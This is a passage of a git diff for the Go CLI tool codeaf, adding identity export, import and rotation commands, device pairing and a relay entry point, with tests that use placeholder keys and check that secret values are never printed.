*testing.T) { } // F1: Keep the grace unmistakably live without making a test wait for it. remote.WatchFor = time.Hour - err := enginehost.Run(workspace, enginehost.Options{Boot: func(hello remote.Hello) (*remote.Engine, error) { + err := enginehost.Run(workspace, enginehost.Options{Cells: cell.Available(), Boot: func(hello remote.Hello) (*remote.Engine, error) { file := hello.Session if file == "" { file = filepath.Join(workspace, "conversation.jsonl") @@ -353,7 +354,9 @@ func TestOlderWindowJoinsNewerRealHostDespiteDifferentEnvironment(t *testing.T) old := environmentChild(t, workspace, os.Getenv(config.APIKeyEnv)) held := waitEnvironmentHost(t, workspace, func(self remote.HostSelf) bool { return !self.Busy }) t.Setenv(config.APIKeyEnv, "sk-or-v1-test-other-terminal") - note, err := clearStaleEngineHostAs(workspace, window("older-build", held.BuiltAt.Add(-time.Hour))) + me := window("older-build", held.BuiltAt.Add(-time.Hour)) + me.Cells = held.Cells + note, err := clearStaleEngineHostAs(workspace, me) if err != nil || note != "" { t.Fatalf("older window disturbed newer host: %q, %v", note, err) } diff --git a/cmd/codeaf/engine_stale_test.go b/cmd/codeaf/engine_stale_test.go index 3e51afdf86..fc16286817 100644 --- a/cmd/codeaf/engine_stale_test.go +++ b/cmd/codeaf/engine_stale_test.go @@ -14,6 +14,7 @@ import ( "bufio" "encoding/json" "errors" + "github.com/Agent-Field/codeaf/internal/cell" "net" "os" "os/exec" @@ -236,7 +237,7 @@ func hostAnswers(workspace string) bool { func TestAHostOfThisBuildIsSplicedOntoWithoutAWord(t *testing.T) { shortEngineHome(t) workspace := "/home/somebody/api" - standIn(t, workspace, remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity()}, false) + standIn(t, workspace, remote.HostSelf{Version: remote.Version, Build: buildinfo.Identity(), Cells: cell.Available()}, false) note, err := clearStaleEngineHost(workspace) if err != nil { diff --git a/cmd/codeaf/exec.go b/cmd/codeaf/exec.go index 10f3e4c3af..caa1148f4b 100644 --- a/cmd/codeaf/exec.go +++ b/cmd/codeaf/exec.go @@ -128,7 +128,7 @@ func runExec(args []string) error { } defer closeRouter(client) - ctx, stopSignals := signal.NotifyContext(traced, os.Interrupt, syscall.SIGTERM) + ctx, stopSignals := signal.NotifyContext(hostSeated(traced), os.Interrupt, syscall.SIGTERM) defer stopSignals() deadline := execDeadline(*maxTokens, wall.wall) if wall.wall > 0 { diff --git a/cmd/codeaf/helpwidth_test.go b/cmd/codeaf/helpwidth_test.go index 3d8a78421d..1a9d52d967 100644 --- a/cmd/codeaf/helpwidth_test.go +++ b/cmd/codeaf/helpwidth_test.go @@ -126,6 +126,7 @@ func helpPages(t *testing.T) []helpPage { {"why", runWhy}, {"cache", runCache}, {"devices", runDevices}, + {"pair", runPair}, {"plan new", func(args []string) error { return runPlanNew("plan new", args) }}, {"plan run", func(args []string) error { return runGraph("plan run", args) }}, {"patch", runPatch}, diff --git a/cmd/codeaf/hostseat_test.go b/cmd/codeaf/hostseat_test.go new file mode 100644 index 0000000000..c4b2fe931a --- /dev/null +++ b/cmd/codeaf/hostseat_test.go @@ -0,0 +1,17 @@ +package main + +import ( + "os" + + "github.com/Agent-Field/codeaf/internal/executor/executortest" +) + +// These tests call tools with no session around them, so those calls run on +// the host seat by name; production still refuses a call that lost its session. +func init() { + // The resident regression starts an isolated child without this fallback + // so a missing production seat cannot be hidden by the test process. + if os.Getenv("CODEAF_TEST_NO_HOST_SEAT") != "1" { + executortest.Host() + } +} diff --git a/cmd/codeaf/identity.go b/cmd/codeaf/identity.go new file mode 100644 index 0000000000..6cea333eaf --- /dev/null +++ b/cmd/codeaf/identity.go @@ -0,0 +1,165 @@ +package main + +import ( + "errors" + "fmt" + "io" + "os" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" +) + +const identityUsage = "usage: codeaf identity show | codeaf identity export [] | codeaf identity import [--replace] | codeaf identity rotate [--grace 7d] [--yes] [--abandon]" + +// identityDoor is what a verb may touch: the codeaf home, where it writes, and +// how a passphrase is asked for (with a second entry when it is being chosen). +type identityDoor struct { + home string + out io.Writer + passphrase func(confirm bool) (string, error) + // in is where a yes or no is read, and rotation opens the rotation of this + // computer's identity; only `rotate` uses them. + in io.Reader + rotation rotationFactory + now func() time.Time +} + +// identityVerbs maps the word after `identity` to what it does. +var identityVerbs = map[string]func(d identityDoor, args []string) error{ + "show": identityShow, + "export": identityExport, + "import": identityImport, + "rotate": identityRotate, +} + +// runIdentity is the door onto the person's identity. Like `cell` it is +// off the help page, and absent when cells cannot run. +func runIdentity(args []string) error { + if reason := cell.UnavailableReason(); reason != "" { + return errors.New(reason) + } + return runIdentityAt(args, identityDoor{home: home.Dir(), out: os.Stdout, passphrase: askPassphrase, in: os.Stdin, rotation: realRotation, now: time.Now}) +} + +func runIdentityAt(args []string, d identityDoor) error { + if len(args) == 0 { + return errors.New(identityUsage) + } + verb, ok := identityVerbs[args[0]] + if !ok { + return errors.New(identityUsage) + } + return verb(d, args[1:]) +} + +func identityShow(d identityDoor, args []string) error { + if len(args) != 0 { + return errors.New(identityUsage) + } + id, err := identity.EnsureSolo(d.home) + if err != nil { + return err + } + dev, err := identity.Device(d.home) + if err != nil { + return err + } + fmt.Fprintf(d.out, "id %s\nfingerprint %s\ncell key id %s\ndevice %s\n", + id.ID(), id.Fingerprint(), id.CellKeyID(), dev.ID()) + return nil +} + +func identityExport(d identityDoor, args []string) error { + if len(args) > 1 { + return errors.New(identityUsage) + } + id, err := identity.EnsureSolo(d.home) + if err != nil { + return err + } + phrase, err := d.passphrase(true) + if err != nil { + return err + } + blob, err := identity.Export(id, phrase) + if err != nil { + return err + } + if len(args) == 0 { + _, err = fmt.Fprintf(d.out, "%s\n", blob) + return err + } + return os.WriteFile(args[0], append(blob, '\n'), 0o600) +} + +func identityImport(d identityDoor, args []string) error { + replace := slices.Contains(args, "--replace") + files := slices.DeleteFunc(slices.Clone(args), func(a string) bool { return a == "--replace" }) + if len(files) != 1 { + return errors.New(identityUsage) + } + blob, err := os.ReadFile(files[0]) + if err != nil { + return err + } + phrase, err := d.passphrase(false) + if err != nil { + return err + } + id, err := identity.Import(blob, phrase) + if err != nil { + return err + } + replaced, err := identity.Adopt(d.home, id, replace) + if err != nil { + return err + } + fmt.Fprintf(d.out, "imported %s (%s)\n", id.ID(), id.Fingerprint()) + if replaced && keys.Exists(d.home) { + fmt.Fprintln(d.out, "secrets sealed under the previous identity cannot be read now") + } + return nil +} + +// askPassphrase reads a passphrase without echo on a terminal, else one line +// from stdin. Choosing one (confirm) asks twice on a terminal. +func askPassphrase(confirm bool) (string, error) { + if !connectInputIsTTY(connectInput) { + return readPassphraseLine(connectInput) + } + first, err := promptSecret("passphrase: ") + if err != nil || !confirm { + return first, err + } + again, err := promptSecret("again: ") + if err == nil && again != first { + err = errors.New("the two passphrases differ") + } + return first, err +} + +func promptSecret(prompt string) (string, error) { + fmt.Fprint(usageErr, prompt) + raw, err := connectReadPassword(connectInput.Fd()) + fmt.Fprintln(usageErr) + return nonEmpty(string(raw), err) +} + +func readPassphraseLine(in io.Reader) (string, error) { + raw, err := io.ReadAll(io.LimitReader(in, 1<<16)) + line, _, _ := strings.Cut(string(raw), "\n") + return nonEmpty(strings.TrimRight(line, "\r"), err) +} + +func nonEmpty(phrase string, err error) (string, error) { + if err == nil && phrase == "" { + err = errors.New("the passphrase is empty") + } + return phrase, err +} diff --git a/cmd/codeaf/identity_rotate.go b/cmd/codeaf/identity_rotate.go new file mode 100644 index 0000000000..1657061535 --- /dev/null +++ b/cmd/codeaf/identity_rotate.go @@ -0,0 +1,193 @@ +package main + +import ( + "bufio" + "context" + "errors" + "flag" + "fmt" + "io" + "os" + "os/signal" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/rotate" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// rotation is the part of a rotation the door drives; rotate.Env is one. +type rotation interface { + Plan(ctx context.Context) (rotate.Plan, error) + Rotate(ctx context.Context) (rotate.Result, error) + Abandon(ctx context.Context) error +} + +// rotationFactory opens the rotation of this computer's identity, with the grace +// the person asked for and a line-by-line progress sink, and answers what to +// call when it is over to tidy what it left. +type rotationFactory func(grace time.Duration, say func(string)) (rotation, func() error, error) + +// realRotation is the rotation over this computer's relay and engine. +func realRotation(grace time.Duration, say func(string)) (rotation, func() error, error) { + s, ok, err := syncsetup.OpenForRotation(home.Dir()) + if err != nil { + return nil, nil, err + } + if !ok { + return nil, nil, errors.New("a rotation needs sync: " + chatlist.SyncOff) + } + env := s.Rotation(cellstore.EngineFor(""), heldChat, deviceName(), say) + env.Grace = grace + return env, s.Tidy, nil +} + +// heldChat finds the folder a chat has on this computer, if it has one. +func heldChat(id string) (cell.Cell, bool) { + c, err := openCellByID(id) + return c, err == nil +} + +type rotateOptions struct { + grace time.Duration + yes bool + abandon bool +} + +func parseRotate(args []string) (rotateOptions, error) { + var o rotateOptions + flags := flag.NewFlagSet("rotate", flag.ContinueOnError) + flags.SetOutput(io.Discard) + flags.DurationVar(&o.grace, "grace", 0, "") + flags.BoolVar(&o.yes, "yes", false, "") + flags.BoolVar(&o.abandon, "abandon", false, "") + if err := flags.Parse(args); err != nil || flags.NArg() != 0 { + return o, errors.New(identityUsage) + } + return o, nil +} + +// identityRotate replaces the identity of every computer you keep: a new root, +// every chat and the vault sealed again under it, and the old identity retired +// by the relay after a grace period. +func identityRotate(d identityDoor, args []string) error { + opt, err := parseRotate(args) + if err != nil { + return err + } + say := func(line string) { fmt.Fprintln(d.out, line) } + rot, tidy, err := d.rotation(opt.grace, say) + if err != nil { + return err + } + defer tidy() + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) + defer stop() + if opt.abandon { + return abandonRotation(d, ctx, rot) + } + if !rotate.Pending(d.home) { + if err := confirmRotation(d, ctx, rot, opt); err != nil { + return err + } + } else { + say("finishing the rotation that was started here") + } + res, err := rot.Rotate(ctx) + if err != nil { + return err + } + return rotationCard(d, res) +} + +func abandonRotation(d identityDoor, ctx context.Context, rot rotation) error { + if err := rot.Abandon(ctx); err != nil { + return err + } + fmt.Fprintln(d.out, "rotation cancelled; nothing changed") + return nil +} + +// confirmRotation says what a rotation costs and asks. Nothing has changed yet, +// so ctrl+c or n here costs nothing. +func confirmRotation(d identityDoor, ctx context.Context, rot rotation, opt rotateOptions) error { + plan, err := rot.Plan(ctx) + if err != nil { + return err + } + fmt.Fprint(d.out, planText(plan)) + if opt.yes { + return nil + } + fmt.Fprint(d.out, "continue? y / n ") + answer, _ := bufio.NewReader(d.in).ReadString('\n') + if a := strings.ToLower(strings.TrimSpace(answer)); a != "y" && a != "yes" { + return errors.New("rotation cancelled; nothing changed") + } + return nil +} + +// planText is the plan in words: what moves, how much, about how long, and what +// it does to the other computers. +func planText(p rotate.Plan) string { + var b strings.Builder + fmt.Fprintf(&b, "%d chats", p.Chats) + if p.Missing > 0 { + fmt.Fprintf(&b, ", %d of them not on this computer (%s to fetch first)", p.Missing, rotationMegabytes(p.DownBytes)) + } + fmt.Fprintf(&b, ".\nabout %s goes up to sync; allow about %s.\n", rotationMegabytes(p.UpBytes), minutes(p.Wait)) + b.WriteString("your other computers stop syncing until you pair them again.\n") + b.WriteString("the old identity stays readable in sync for a while, then sync deletes it.\n") + b.WriteString("once it has switched this cannot be undone.\n") + return b.String() +} + +func rotationMegabytes(n int64) string { return fmt.Sprintf("%.1f MB", float64(n)/(1<<20)) } + +func minutes(d time.Duration) string { + if d < time.Minute { + return "a minute" + } + return fmt.Sprintf("%d minutes", int(d.Round(time.Minute)/time.Minute)) +} + +// rotationCard is what a person reads when it is done: what changed, what to do +// next, and, plainly, what a computer they wanted out still holds. +func rotationCard(d identityDoor, res rotate.Result) error { + names := vaultNames(d.home) + fmt.Fprintf(d.out, "rotated. your chats now belong to %s (was %s).\n", res.NewID, res.OldID) + fmt.Fprintln(d.out, "other computers: run /pair here, then `codeaf pair ` there, for each one.") + fmt.Fprintf(d.out, "the old copy in sync is read-only and is deleted on %s.\n", d.now().Add(res.RetireAfter).Format("2006-01-02")) + fmt.Fprintln(d.out, "a computer you lost still holds everything it had: your chats up to now and every secret in your vault.") + if len(names) > 0 { + fmt.Fprintf(d.out, "change these at their providers: %s\n", strings.Join(names, ", ")) + } + return nil +} + +// vaultNames lists the names of the secrets in the vault, never their values. +func vaultNames(dir string) []string { + v, err := keys.Open(dir) + if err != nil { + return nil + } + ids, _ := v.IDs("") + seen := map[string]bool{} + for _, id := range ids { + if e, err := v.Get(id); err == nil && e.Name != "" { + seen[e.Name] = true + } + } + names := make([]string, 0, len(seen)) + for n := range seen { + names = append(names, n) + } + sort.Strings(names) + return names +} diff --git a/cmd/codeaf/identity_rotate_test.go b/cmd/codeaf/identity_rotate_test.go new file mode 100644 index 0000000000..3788f5c08a --- /dev/null +++ b/cmd/codeaf/identity_rotate_test.go @@ -0,0 +1,162 @@ +package main + +import ( + "bytes" + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/rotate" +) + +// fakeRotation records what the door asked of it. +type fakeRotation struct { + plan rotate.Plan + rotate int + thawed int + err error +} + +func (f *fakeRotation) Plan(context.Context) (rotate.Plan, error) { return f.plan, nil } +func (f *fakeRotation) Rotate(context.Context) (rotate.Result, error) { + f.rotate++ + return rotate.Result{OldID: "id_old", NewID: "id_new", Chats: f.plan.Chats, RetireAfter: 7 * 24 * time.Hour}, f.err +} +func (f *fakeRotation) Abandon(context.Context) error { f.thawed++; return f.err } + +func rotationDoor(t *testing.T, f *fakeRotation, stdin string) (identityDoor, *bytes.Buffer) { + t.Helper() + out := &bytes.Buffer{} + return identityDoor{ + home: t.TempDir(), out: out, in: strings.NewReader(stdin), + now: func() time.Time { return time.Date(2026, 10, 1, 0, 0, 0, 0, time.UTC) }, + rotation: func(time.Duration, func(string)) (rotation, func() error, error) { + return f, func() error { return nil }, nil + }, + }, out +} + +// The door says what the rotation costs before it changes anything, and a no +// changes nothing. +func TestRotateAsksFirst(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 3, Missing: 1, DownBytes: 5 << 20, UpBytes: 9 << 20, Wait: 3 * time.Minute}} + d, out := rotationDoor(t, f, "n\n") + err := identityRotate(d, nil) + if err == nil || !strings.Contains(err.Error(), "nothing changed") || f.rotate != 0 { + t.Fatalf("a no = %v, rotations %d", err, f.rotate) + } + for _, want := range []string{"3 chats", "1 of them not on this computer (5.0 MB to fetch first)", "9.0 MB goes up", "3 minutes", "cannot be undone"} { + if !strings.Contains(out.String(), want) { + t.Errorf("the plan does not say %q:\n%s", want, out) + } + } +} + +// A yes, or --yes, runs it, and the card says what a lost computer keeps. +func TestRotateCardListsSecretNames(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 1}} + d, out := rotationDoor(t, f, "yes\n") + vault, err := keys.Open(d.home) + if err != nil { + t.Fatal(err) + } + if err := vault.Put("p/K", keys.Entry{Name: "OPENROUTER_API_KEY", Value: "sk-never-printed", Scope: "p"}); err != nil { + t.Fatal(err) + } + if err := identityRotate(d, nil); err != nil || f.rotate != 1 { + t.Fatalf("rotation = %v, runs %d", err, f.rotate) + } + text := out.String() + for _, want := range []string{"rotated. your chats now belong to id_new (was id_old)", "run /pair here", "deleted on 2026-10-08", + "still holds everything it had", "change these at their providers: OPENROUTER_API_KEY"} { + if !strings.Contains(text, want) { + t.Errorf("the card does not say %q:\n%s", want, text) + } + } + if strings.Contains(text, "sk-never-printed") { + t.Fatal("the card printed a secret's value") + } + d2, _ := rotationDoor(t, &fakeRotation{}, "") + if err := identityRotate(d2, []string{"--yes"}); err != nil { + t.Fatalf("--yes = %v", err) + } +} + +// A rotation that was started is finished without asking again. +func TestRotateFinishesWhatWasStarted(t *testing.T) { + f := &fakeRotation{plan: rotate.Plan{Chats: 2}} + d, out := rotationDoor(t, f, "") + if err := os.WriteFile(filepath.Join(d.home, rotate.File), []byte("{}"), 0o600); err != nil { + t.Fatal(err) + } + if err := identityRotate(d, nil); err != nil || f.rotate != 1 { + t.Fatalf("rotation = %v, runs %d", err, f.rotate) + } + if !strings.Contains(out.String(), "finishing the rotation that was started here") || strings.Contains(out.String(), "continue?") { + t.Fatalf("output:\n%s", out) + } +} + +func TestRotateAbandon(t *testing.T) { + f := &fakeRotation{} + d, out := rotationDoor(t, f, "") + if err := identityRotate(d, []string{"--abandon"}); err != nil || f.thawed != 1 || f.rotate != 0 { + t.Fatalf("abandon = %v, thaws %d, runs %d", err, f.thawed, f.rotate) + } + if !strings.Contains(out.String(), "rotation cancelled; nothing changed") { + t.Fatalf("output:\n%s", out) + } +} + +func TestRotateRefusesWhatItDoesNotKnow(t *testing.T) { + d, _ := rotationDoor(t, &fakeRotation{}, "") + for _, args := range [][]string{{"now"}, {"--bogus"}, {"--grace", "soon"}} { + if err := identityRotate(d, args); err == nil || !strings.Contains(err.Error(), "usage") { + t.Errorf("%v = %v, want the usage line", args, err) + } + } +} + +// With sync off there is no relay to rotate on, and nothing is done. +func TestRotateSyncOff(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv("CODEAF_SYNC_URL", "off") // an empty value now means the built-in default + _, _, err := realRotation(0, nil) + if err == nil || !strings.Contains(err.Error(), "needs sync") { + t.Fatalf("realRotation with sync off = %v", err) + } +} + +// Stopping a computer that holds your chats names the way to lock it out for good. +func TestDevicesRevokeSuggestsRotate(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + said, err := captureStdout(t, func() error { return stopDevice([]deviceKind{chats}, []string{"laptop"}) }) + if err != nil || !strings.Contains(said, "codeaf identity rotate") { + t.Fatalf("after a stop: %q, %v", said, err) + } +} + +// A computer that rotated hands the identities it replaced to whoever it pairs, +// so a computer still on one of them may follow. +func TestPairGrantNamesWhatItReplaced(t *testing.T) { + dir := t.TempDir() + t.Setenv(home.EnvVar, dir) + gone, err := identity.Mint() + if err != nil { + t.Fatal(err) + } + if err := identity.RecordPredecessor(dir, gone.ID()); err != nil { + t.Fatal(err) + } + g, err := pairGrant(pair.Mailbox{URL: "http://relay.test"}) + if err != nil || len(g.Replaces) != 1 || g.Replaces[0] != gone.ID() { + t.Fatalf("grant replaces %v, %v", g.Replaces, err) + } +} diff --git a/cmd/codeaf/identity_test.go b/cmd/codeaf/identity_test.go new file mode 100644 index 0000000000..963c48fabf --- /dev/null +++ b/cmd/codeaf/identity_test.go @@ -0,0 +1,107 @@ +package main + +import ( + "bytes" + "encoding/hex" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/keys" +) + +func door(t *testing.T, home, phrase string) (identityDoor, *bytes.Buffer) { + out := &bytes.Buffer{} + return identityDoor{home: home, out: out, passphrase: func(bool) (string, error) { return phrase, nil }}, out +} + +func TestIdentityExportImportAcrossHomes(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + blob := filepath.Join(t.TempDir(), "id.blob") + da, showA := door(t, a, "pw") + if err := runIdentityAt([]string{"export", blob}, da); err != nil { + t.Fatal(err) + } + db, showB := door(t, b, "pw") + if err := runIdentityAt([]string{"import", blob}, db); err != nil { + t.Fatal(err) + } + showA.Reset() + showB.Reset() + runIdentityAt([]string{"show"}, da) + runIdentityAt([]string{"show"}, db) + if showA.String() == "" || showHead(showA.String()) != showHead(showB.String()) || showA.String() == showB.String() { + t.Fatalf("shows differ:\n%s\n%s", showA, showB) + } +} + +func TestIdentityImportRefusesOtherIdentityWithoutReplace(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + blob := filepath.Join(t.TempDir(), "id.blob") + da, _ := door(t, a, "pw") + runIdentityAt([]string{"export", blob}, da) + db, _ := door(t, b, "pw") + runIdentityAt([]string{"show"}, db) // b now has its own identity + if err := runIdentityAt([]string{"import", blob}, db); err == nil || !strings.Contains(err.Error(), "--replace") { + t.Fatalf("want a --replace refusal, got %v", err) + } + if err := runIdentityAt([]string{"import", "--replace", blob}, db); err != nil { + t.Fatal(err) + } + dw, _ := door(t, b, "wrong") + if err := runIdentityAt([]string{"import", "--replace", blob}, dw); err == nil { + t.Fatal("wrong passphrase accepted") + } +} + +// C27.7 exercises this behaviour without an opt-in switch. +func TestIdentityNeedsCells(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + if err := runIdentity([]string{"show"}); err == nil || err.Error() != cell.UnavailableReason() { + t.Fatalf("got %v", err) + } +} + +func TestIdentityUsage(t *testing.T) { + d, _ := door(t, t.TempDir(), "pw") + for _, args := range [][]string{{}, {"nope"}, {"show", "x"}, {"import"}, {"export", "a", "b"}} { + if err := runIdentityAt(args, d); err == nil || !strings.Contains(err.Error(), "usage") { + t.Fatalf("%v: %v", args, err) + } + } +} + +// showHead is the three identity lines of `show`; the device line differs per machine. +func showHead(shown string) string { return strings.Join(strings.Split(shown, "\n")[:3], "\n") } + +// A home whose vault predates identities (vault.key, no identity.json) keeps it +// through a plain import: refused, and the vault still opens. +func TestIdentityImportKeepsAnUnmigratedVault(t *testing.T) { + old, other := t.TempDir(), t.TempDir() + v, err := keys.Open(old) + if err != nil { + t.Fatal(err) + } + v.Put("a", keys.Entry{Name: "K", Value: "kept", Scope: "p"}) + id, _ := identity.Load(old) + os.Remove(filepath.Join(old, identity.File)) + os.WriteFile(filepath.Join(old, "vault.key"), []byte(hex.EncodeToString(id.CellKey())), 0o600) + + blob := filepath.Join(t.TempDir(), "id.blob") + do, _ := door(t, other, "pw") + runIdentityAt([]string{"export", blob}, do) + di, _ := door(t, old, "pw") + if err := runIdentityAt([]string{"import", blob}, di); err == nil || !strings.Contains(err.Error(), "--replace") { + t.Fatalf("want a --replace refusal, got %v", err) + } + again, err := keys.Open(old) + if err != nil { + t.Fatal(err) + } + if e, err := again.Get("a"); err != nil || e.Value != "kept" { + t.Fatalf("vault lost: %v %v", e, err) + } +} diff --git a/cmd/codeaf/launchlaws_test.go b/cmd/codeaf/launchlaws_test.go index 40b72bcb97..d2e3bce320 100644 --- a/cmd/codeaf/launchlaws_test.go +++ b/cmd/codeaf/launchlaws_test.go @@ -1,6 +1,7 @@ package main import ( + "context" "net/http" "net/http/httptest" "runtime" @@ -8,6 +9,7 @@ import ( "testing" "time" + "github.com/Agent-Field/codeaf/internal/furrow" "github.com/Agent-Field/codeaf/internal/packed" ) @@ -145,6 +147,9 @@ func TestAColdCatalogCannotHoldLaunch(t *testing.T) { t.Setenv("CODEAF_BASE_URL", server.URL) proc := v3TestProcess(t) workspace := t.TempDir() + // C4 holds the catalog response, not an unrelated engine process. Resolve + // the real local capability before starting this catalog-only deadline. + _ = furrow.Detect(context.Background(), workspace) done := make(chan error, 1) go func() { launch, err := openV3Launch(proc, v3Options{Model: "test/model", Workspace: workspace}) diff --git a/cmd/codeaf/logs_test.go b/cmd/codeaf/logs_test.go index 0449f6e667..121c8f7a7d 100644 --- a/cmd/codeaf/logs_test.go +++ b/cmd/codeaf/logs_test.go @@ -4,6 +4,8 @@ import ( "bytes" "errors" "fmt" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" "io" "os" "path/filepath" @@ -39,6 +41,10 @@ func TestMain(m *testing.M) { if code, child := runAsCarriedChild(); child { os.Exit(code) } + // C27.7 keeps unrelated CLI fixtures on host execution. Cell wiring tests + // declare availability, and engine-backed tests require the real engine; + // the stamped binary smoke independently proves the production default. + restoreCells := cell.UseAvailabilityInTests(false) if _, pinned := os.LookupEnv(calllog.EnvVar); !pinned { os.Setenv(calllog.EnvVar, calllog.OffValue) } @@ -82,6 +88,8 @@ func TestMain(m *testing.M) { // "bash" for itself and wins. os.Setenv("CODEAF_TASK_BELT", "node") code := m.Run() + cellstore.StopSpawned() // no engine daemon outlives the run + restoreCells() restore() os.Exit(code) } diff --git a/cmd/codeaf/main.go b/cmd/codeaf/main.go index 39c0af6d1c..690e1fcc58 100644 --- a/cmd/codeaf/main.go +++ b/cmd/codeaf/main.go @@ -13,7 +13,6 @@ import ( "errors" "flag" "fmt" - "github.com/Agent-Field/codeaf/internal/crewroute" "io" "log" "os" @@ -24,23 +23,25 @@ import ( "strings" "time" - tea "github.com/charmbracelet/bubbletea" - "github.com/Agent-Field/codeaf/internal/automation" "github.com/Agent-Field/codeaf/internal/calllog" + "github.com/Agent-Field/codeaf/internal/cellstore" "github.com/Agent-Field/codeaf/internal/codexauth" "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/crewroute" "github.com/Agent-Field/codeaf/internal/delegate/builtin" "github.com/Agent-Field/codeaf/internal/guard" "github.com/Agent-Field/codeaf/internal/home" lanes "github.com/Agent-Field/codeaf/internal/lane" "github.com/Agent-Field/codeaf/internal/plan" "github.com/Agent-Field/codeaf/internal/plandb" + "github.com/Agent-Field/codeaf/internal/relayserve" "github.com/Agent-Field/codeaf/internal/router" "github.com/Agent-Field/codeaf/internal/session" "github.com/Agent-Field/codeaf/internal/telemetry" "github.com/Agent-Field/codeaf/internal/trace" codeupdate "github.com/Agent-Field/codeaf/internal/update" + tea "github.com/charmbracelet/bubbletea" ) func main() { @@ -189,6 +190,18 @@ func surfaceProcs(ncpu int) int { // one calm sentence over a restored terminal instead of spilling a goroutine // dump across the screen the user was working in. func execute() (code int) { + // Every CLI door shares this exit, including verbs with no session to close. + // C28 requires their grouped call and turn records to reach disk too. + defer func() { + ctx, cancel := context.WithTimeout(context.Background(), cellstore.SealWithin) + defer cancel() + if err := cellstore.Flush(ctx); err != nil { + fmt.Fprintln(os.Stderr, "codeaf: could not finish saving this chat:", err) + if code == 0 { + code = 1 + } + } + }() defer func() { if recovered := recover(); recovered != nil { code = reportFault(os.Stderr, fmt.Sprint(recovered), debug.Stack()) @@ -306,6 +319,17 @@ func run() error { // is a command a person runs and watches — which is why it is in the // usage text and `engine` is not (chatv3_at.go). return runServe(os.Args[2:]) + case "pair": + // Share this computer's chats with another one: one side shows a code, + // the other types it (pair.go). It is a command a person runs and + // watches, so it is in the usage text. + return runPair(os.Args[2:]) + case "relay": + // The relay program itself, the same relayserve.Main that cmd/relay + // builds: `codeaf relay --listen :8787 --store `. It is run by + // whoever hosts the relay and not typed in a conversation, so like + // `engine` it is absent from the usage text. + return relayserve.Main(os.Args[2:]) case "devices": // Who is allowed to open a conversation here, and the door for taking // that back. REVOKING IS THIS MACHINE'S DECISION AND ONLY THIS @@ -364,6 +388,16 @@ func run() error { // the usage text below for the same reason `engine` is: nobody types // it, and the one thing it must never do is exit 1. return runWake(os.Args[2:]) + case "cell": + // The turn chain of a cell (cell.go): its log and its rewind. Machinery + // available when a compatible engine is available, DELIBERATELY ABSENT from the + // usage text below, like `engine` and `tick`. + return runCell(os.Args[2:]) + case "identity": + // The person's one root secret and its passphrase-wrapped export + // (identity.go). Machinery, so + // DELIBERATELY ABSENT from the usage text below, like `cell`. + return runIdentity(os.Args[2:]) case "tick": // THE OLD TIMER'S VERB, KEPT SO IT ENDS QUIETLY. An operating-system // timer installed by an older build still runs `codeaf tick` until this @@ -385,6 +419,12 @@ func run() error { return runRebuild(os.Args[2:]) case "why": return runWhy(os.Args[2:]) + case "atlas": + // The architecture map of the two-computer work — pair, continue, + // furrow — drawn as boxes and arrows a person can drag and open + // (internal/atlas). It is a surface a person sits in front of with no + // key and nothing spent, so it is in the usage text. + return runAtlas(os.Args[2:]) case "manual": // Everything codeaf knows about itself, read straight (manual.go). It // is the same corpus the chat's manual tool reads, printed as it is @@ -522,10 +562,11 @@ Hand it work — nobody is watching, the answer is on stdout ` + handWorkFooter + ` Look at what happened — read-only, no key, nothing spent - codeaf why self [--db path] - show today's self-spend receipts - codeaf why [--db path] - what one piece of work did — its turns, tools, arguments, how it ended + codeaf why self | [--db path] + today's self-spend receipts, or what one piece of work did + codeaf atlas [map] + an architecture map — pairing and the rest — drag boxes, step flows; + bare codeaf atlas shows the picker, an unknown name lists what there is codeaf logs [--tail 40] [--follow] [--path] [--json] [--run id] [--call id] [--tag t] [--model m] [--node n] [--body id] every model call codeaf made — what was asked, which lane answered, what @@ -559,12 +600,16 @@ Housekeeping — changes state on disk or on the network delete the build cache; you type "` + cacheCleanWord + `" to confirm, --yes skips it codeaf rebuild [--db path] [--yes] discard everything codeaf worked out from the journal and replay it - codeaf serve [--workspace path] [--relay url] + codeaf pair [--via url] [--name name] + add this device to yours: shows a link to approve from one you use + codeaf pair approve | [--replace] | --code + approve a new device; or use or show a six-digit code for your chats + codeaf serve [--workspace path] [--via url] be reachable from your other devices without ssh, with a pairing code codeaf devices - list the devices paired with this machine - codeaf devices revoke [--all] - stop one device opening a conversation here, --all every device of it + list your devices and the ones that can use this machine + codeaf devices revoke [--all] | rename + remove one (cannot undo what a device holds), or name this one codeaf notebook [--db path] what it has learned, and what it has been corrected on codeaf notebook retract|restore [--db path] diff --git a/cmd/codeaf/pair.go b/cmd/codeaf/pair.go new file mode 100644 index 0000000000..befb0d0560 --- /dev/null +++ b/cmd/codeaf/pair.go @@ -0,0 +1,254 @@ +package main + +// `codeaf pair`: share this computer's chats with another one, from a terminal. +// +// one$ codeaf pair shows a code and waits +// two$ codeaf pair 42-715-302 types 